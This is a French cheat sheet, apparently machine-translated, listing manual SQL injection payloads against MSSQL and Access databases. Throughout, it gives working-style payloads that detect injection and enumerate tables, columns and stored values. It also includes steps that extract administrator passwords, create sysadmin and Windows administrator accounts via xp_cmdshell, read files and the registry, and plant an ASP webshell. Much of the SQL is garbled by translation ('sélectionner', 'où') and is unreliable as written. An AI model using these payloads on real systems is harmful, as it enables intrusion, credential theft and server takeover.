1. Déterminer s’il y a une injection ; et 1=1 ; et 1=2
2. Jugement préliminaire sur le fait qu’il s’agisse de mssql ; et utilisateur>0
3. Juger le système de base de données ; et (select count(*) from sysobjects)>0 mssql ; et (select count(*) depuis msysobjects)>0 accès
4. Le paramètre d’injection est un caractère « et [critères de requête] et « = »
5. Il n’y a pas de paramètres filtrés pendant la recherche « et [critères de requête] et « %25 »= »
6. Devinez le nom de la table ; et (sélectionner Count(*) depuis [nom du tableau])>0
7. Devinez le champ ; et (sélectionnez Count(nom du champ) à partir du nom du tableau)>0
8. Devine la longueur du disque sur le terrain ; et (sélectionnez le top 1 de la lentille (nom du champ) dans le nom du tableau)>0
9. (1) Deviner la valeur ASCII du champ (accès) ; et (sélectionner top 1 asc(milieu (nom du terrain, 1,1)) dans le nom du tableau)>0
(2) Deviner la valeur ASCII du champ (mssql) ; et (sélectionnez unicode top 1(sous-string(nom du champ, 1,1)) dans le nom du tableau)>0
10. Structure de permission de test (mssql) ; et 1=(sélectionner IS_SRVROLEMEMBER('sysadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('serveradmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('setupadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('securityadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('diskadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('bulkadmin')) ; -- ; et 1=(sélectionner IS_MEMBER('db_owner')) ; --
11. Ajouter un compte pour mssql et le système ; Exécutif master.dbo.sp_addlogin nom d’utilisateur ; -- ; exécutif master.dbo.sp_password null, nom d’utilisateur, mot de passe ; -- ; le nom d’utilisateur administrateur système master.dbo.sp_addsrvrolemember exécutif ; -- ; exécutif master.dbo.xp_cmdshell 'Nom d’utilisateur web mot de passe /workstations :* /times :all /passwordchg :yes /passwordreq :yes /active :yes /add' ; -- ; exécutif master.dbo.xp_cmdshell « nom d’utilisateur net mot de passe /add » ; -- ; exec master.dbo.xp_cmdshell 'Net Localgroup Administrators username /add » ; --
12. (1) Parcourez le catalogue ; Create Table dirs (paths varchar(100), id int) ; Insérer les directions exécutives master.dbo.xp_dirtree 'C :\' ; et (sélectionner les chemins top 1 des dirs)>0 ; et (sélectionnez les chemins top 1 à partir des dirs où les chemins non inclus ('chemins obtenus à partir de l’étape précédente')))>)
(2) Parcourir le catalogue ; crée la température de table (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255),num3 nvarchar(255)) ; -- ; insérer le master.dbo.xp_availablemedia exécutif temporaire ; -- Récupérer tous les disques courants ; insérer dans temp(id) exec master.dbo.xp_subdirs 'c :\' ; -- Obtenir une liste des sous-répertoires ; insérer dans temp(id,num1) exécutif master.dbo.xp_dirtree 'c :\' ; -- Obtenir la structure de l’arbre de répertoires pour tous les sous-répertoires ; insérer dans temp(id) exec master.dbo.xp_cmdshell 'type c :\web\index.asp' ; -- Voir le contenu du fichier
13. Procédures stockées dans mssql xp_regenumvalues Clé racine du registre, clé enfant ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' renvoie toutes les valeurs clés dans plusieurs ensembles d’enregistrements xp_regread Clé racine, clé enfant, nom clé-valeur ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' renvoie la valeur de la clé de set xp_regwrite Clé root, clé enfant, nom de valeur, type de valeur, valeur Il existe deux types de valeurs REG_SZ REG_DWORD pour les types de caractères et pour les entiers ; exécutif xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' au registre xp_regdeletevalue Clé racine, sous-clé, nom de valeur exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' pour supprimer une valeur xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' pour supprimer la clé, y compris toutes les valeurs sous cette clé
14. La sauvegarde mssql crée un webshell Modèle d’utilisation créer un tableau cmd (image STR) ; insérer dans cmd(str) des valeurs ('< % Dim oScript %>') ; sauvegarde du modèle de base de données sur disque='c :\l.asp' ;
15. Fonctions intégrées MSSQL ; et (sélectionnez @@version)>0 pour obtenir le numéro de version de Windows ; et user_name()='dbo' pour déterminer si l’utilisateur connecté du système actuel est SA ; et (sélectionner user_name())>0 A fait exploser les utilisateurs connectés du système actuel ; et (sélectionnez db_name())>0 pour obtenir la base de données actuellement connectée
Violation de base de données annotée manuellement par MSSQL
1. Exposer le nom actuel du tableau et du nom de la colonne Soumettez « 'having 1=1-- » après le point d’injection pour obtenir le message de retour en anglais, dans lequel vous pouvez voir un nom de tableau et un nom de colonne. Soumettez « groupe par le nom de la liste ayant 1=1-- » pour obtenir un autre nom de colonne ; Continuez à soumettre « groupez par la liste du nom de la table exposée, le nom de la table exposée. Le nom de la deuxième colonne a 1=1--", ce qui donne un autre nom de colonne. Commet de la même manière jusqu’à ce que la page ne renvoie plus de messages d’erreur pour obtenir tous les noms de colonnes. Anecdotes : Les noms violents de tables et de colonnes sont utilisés en combinaison avec GROUP BY dans les instructions SQL pour formuler des jugements conditionnels. Comme l’instruction est incomplète, la base de données renvoie un message d’erreur et affiche un nom de table et un nom de colonne. La méthode de base ne peut exposer que la table actuelle dans la base de données, et si une table contient beaucoup de noms de colonnes, il est très difficile d’utiliser la méthode de base.
Premièrement. Tous les noms de bases de données sont exposés Utilisez l’instruction « and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N]) » pour exposer des noms de tables et de colonnes arbitraires dans la base de données, où « [N] » représente la N-ième table de la base de données. Étape 1 : Après avoir injecté le point, soumettez l’instruction suivante : « and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12) », car la valeur de dbid va de 1 à 5, ce qui est utilisé par le système, donc l’utilisateur a dû l’avoir construit à partir de 6, et nous avons soumis le nom>1, le champ nom est un champ de type caractère, et la comparaison des numéros sera erronée, donc après la soumission, IE renverra les informations suivantes : « Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] convertit la valeur nvarchar 'Northwind' en type de données int colonne. De cette manière, la valeur du champ nom est exposée, c’est-à-dire que nous obtenons un nom de base de données « Northwind ». Changer la valeur de « dbid » permet d’obtenir tous les noms de bases de données.
et 0<>(select count(*) from master.dbo.sysdatabases où name>1 et dbid=[N])-- Modifier N pour faire exploser tous les noms de bases de données à partir de 6
Deuxièmement. Exposez tous les noms de tables dans la base de données spécifiée Après avoir obtenu le nom de la base de données, vous devez maintenant obtenir tous les noms de table dans la bibliothèque, soumettre l’instruction suivante : « and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') », voici le nom de la table dans la base de données principale, et l’instruction SQL de la requête retourne la valeur du nom, puis la comparez avec le nombre 0, afin que la valeur du nom soit exposée. Après la soumission, le nom du tableau était « 'spt_monito » a été révélé. Ensuite, les autres tableaux sont exposés, et la déclaration suivante est soumise : « et 0<>(sélectionnez le nom top 1 de master.dbo.sysobjects où xtype='U' et name not in('spt_monito')) », et une autre table nommée « cd512 » est exposée. Fichier « et nom non inclus » (' spt_monito',' CD512',..)) » Vous pouvez trouver tous les noms de tables.
et 0<>(sélectionnez le nom du top 1 depuis [spécifier le nom de la base de données].dbo.sysobjects où xtype='U')-- et 0<>(sélectionne le nom top 1 de [spécifier le nom de la base de données].dbo.sysobjects où xtype='U' et name not in('[Nom de la table explosée]'))-- et 0<>(sélectionnez le nom du top 1 depuis [spécifier le nom de la base de données].dbo.sysobjects où xtype='U' et name not in('[Nom de la table explosive]', '[Nom de la deuxième table explosée]'))))--
4. Exposer tous les noms de colonnes dans la table spécifiée et 0<>(select count(*) from bbs.dbo.sysobjects où xtype='U' et name='admin' et uid>(str(id))) Convertissez la valeur ID en type de caractère, puis comparez-la avec une valeur entière. Le numéro d’identification est sorti. La valeur est : 949578421 nom = 'nom de table'
et 0<>(sélectionnez le nom du top 1 depuis wutong.dbo.syscolumns où id=949578421)-- Un nom de champ dans la table admin est exposé
Resoumettre et 0<>(sélectionner le nom du top 1 depuis wutong.dbo.syscolumns où id=949578421 et nom not in('adduser')))-- Fichier « et nom non inclus » (' spt_monito',' CD512',..)) » Vous pouvez trouver tous les noms de champs dans la table d’administration.
et 0<>(select count(*) from [spécifier le nom de la base de données].dbo.sysobjects où xtype='U' et name='[Nom de la table du champ à exploser]' et uid>(str(id)))--La valeur ID du nom de la table du champ à faire exploser
et 0<>(sélectionner le nom du top 1 à partir de [spécifier le nom de la base de données].dbo.syscolumns où id=valeur d’id explosée)-- Le nom d’un champ dans la table des valeurs d’id explosif
et 0<>(sélectionner le nom du top 1 depuis [spécifier le nom de la base de données].dbo.syscolumns où id=Valeur d’id explosif et nom non inclus('[Nom du champ explosif]')))--
5. Lire les données dans le tableau spécifié
et 0<(select A_ID from wutong.dbo.admin where A_UserID>1) — le contenu qui a brisé A_PWD
et 0<(sélectionnez [un champ existant] depuis [spécifier le nom de la base de données].dbo.[nom de la table à interroger] où [nom du champ à faire exploser le contenu]>1)--
et 0<(select A_ID from wutong.dbo.admin où A_PWD>1 et A_UserID='admin')-- Le mot de passe de l’administrateur est exposé
et 0<(Sélectionner Top 1 A_UserID FROM admin où A_ID<>1)-- Le nom administrateur d’id<>1 (fuhao)
et 0< (Sélectionner Top 1 A_UserID FROM admin où A_ID <>1 et A_UserID <> 'fuhao') — Le nom du second admin n'<> pas égal à (tuiguang)
et 0<(Sélectionnez Top 1 A_UserID FROM admin où A_ID <>1 et A_UserID <> 'fuhao' et A_UserID <> 'tuiguang')--
Après avoir connu le nom de la table et la colonne de la base de données, vous pouvez utiliser l'« instruction requête » pour lire toute information dans la base de données. Par exemple, si vous souhaitez lire les N-ièmes données dans une colonne d’un tableau, vous pouvez soumettre l’instruction : « et (Sélectionnez Top 1 nom de colonne FROM table name où id=[N])>1 » ([N] représente la N-ième donnée dans la colonne), et vous pouvez connaître les données désirées à partir des informations retournées par IE.
|